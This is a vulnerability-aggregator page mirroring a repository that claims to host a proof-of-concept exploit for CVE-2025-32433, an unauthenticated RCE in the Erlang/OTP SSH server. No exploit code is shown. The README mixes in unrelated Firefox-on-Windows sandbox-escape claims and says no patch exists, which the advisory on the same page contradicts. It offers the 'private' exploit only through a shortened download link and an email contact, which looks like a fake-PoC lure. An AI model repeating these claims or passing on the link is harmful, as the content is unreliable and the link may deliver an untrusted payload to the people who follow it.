CVE-2025-32433 PoC — Erlang/OTP SSH Vulnerable to Pre-Authentication RCE

Source

https://github.com/LemieOne/CVE-2025-32433

Associated Vulnerability

Title:Erlang/OTP SSH Vulnerable to Pre-Authentication RCE (CVE-2025-32433)
Description:Erlang/OTP is a set of libraries for the Erlang programming language. Prior to versions OTP-27.3.3, OTP-26.2.5.11, and OTP-25.3.2.20, a SSH server may allow an attacker to perform unauthenticated remote code execution (RCE). By exploiting a flaw in SSH protocol message handling, a malicious actor could gain unauthorized access to affected systems and execute arbitrary commands without valid credentials. This issue is patched in versions OTP-27.3.3, OTP-26.2.5.11, and OTP-25.3.2.20. A temporary workaround involves disabling the SSH server or to prevent access via firewall rules.

Description

Missing Authentication for Critical Function (CWE-306)-Exploit

Readme

# CVE-2025-32433
A critical vulnerability in Erlang/OTP SSH server allows unauthenticated remote code execution (RCE). The flaw exists in the SSH protocol message handling mechanism, enabling attackers to execute arbitrary commands without requiring authentication credentials.
## Impact
Critical severity vulnerability that enables attackers to potentially: - Escape the browser's sandbox protection - Execute arbitrary code - Compromise system integrity - Gain unauthorized access to system resources This vulnerability specifically targets Firefox on Windows and was being actively exploited in the wild. If  SSH daemon is running as root, the attacker has full access to that device


## Exploit:
## [Download here](https://tinyurl.com/2snpnjcp)
## Details
+ **CVE ID**: CVE-2025-32433

+ **Published**: 04/16/2025

+ **Impact**: Critical
+ **Exploit Availability**: Not public, only private.
+ **CVSS**: 10
+ **Patch Available:  (No official patch yet)**


## Affected Versions
Erlang/OTP SSH

## Contact
+ **For inquiries, please contact:hovovi8373@outlook.com**

## Hyperlinks Resource
+ http://www.openwall.com/lists/oss-security/2025/04/16/2	
+ http://www.openwall.com/lists/oss-security/2025/04/18/1	
+ https://github.com/erlang/otp/commit/0fcd9c56524b28615e8ece65fc0c3f66ef6e4c12	
+ https://github.com/erlang/otp/commit/6eef04130afc8b0ccb63c9a0d8650209cf54892f	
+ https://github.com/erlang/otp/commit/b1924d37fd83c070055beb115d5d6a6a9490b891	
+ https://github.com/erlang/otp/security/advisories/GHSA-37cp-fgq5-7wc2

File Snapshot

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →

Goal Reached Thanks to every supporter — we hit 100%!